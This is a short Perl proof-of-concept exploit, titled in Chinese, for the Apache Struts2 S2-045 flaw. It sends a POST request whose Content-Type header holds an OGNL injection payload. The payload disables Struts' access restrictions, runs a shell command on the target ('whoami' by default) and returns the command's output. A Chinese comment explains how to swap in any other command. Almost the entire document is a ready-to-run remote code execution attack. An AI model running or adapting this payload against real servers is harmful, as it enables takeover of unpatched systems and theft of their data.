st2-045漏洞利用poc

1 use LWP::UserAgent;
2
3 undef $/;
4 if(@ARGV != 1){print "Use:poc.pl http://target/index.action\n";exit;} 5 my $url = shift;
6 my $ua = LWP::UserAgent->new;
7 my $req = HTTP::Request->new(POST => $url);
8 my $head = <DATA>;
9 $req->content_type($head);
10 11 my $rep = $ua->request($req);
12 print $rep->content;
13
14
15
16 #如要修改命令， 请把24行的whoami修改为相当的命令就行
17 __DATA__
18 %{(#nike='multipart/form-data').
19 (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).
20 (#_memberAccess?(#_memberAccess=#dm):
21 ((#container=#context['com.opensymphony.xwork2.ActionContext.container']).
22 (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).
23 (#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).
24 (#context.setMemberAccess(#dm)))).(#cmd='whoami').
25 (#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).
26 (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).
27 (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).
28 (#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().
29 getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).
30 (#ros.flush())}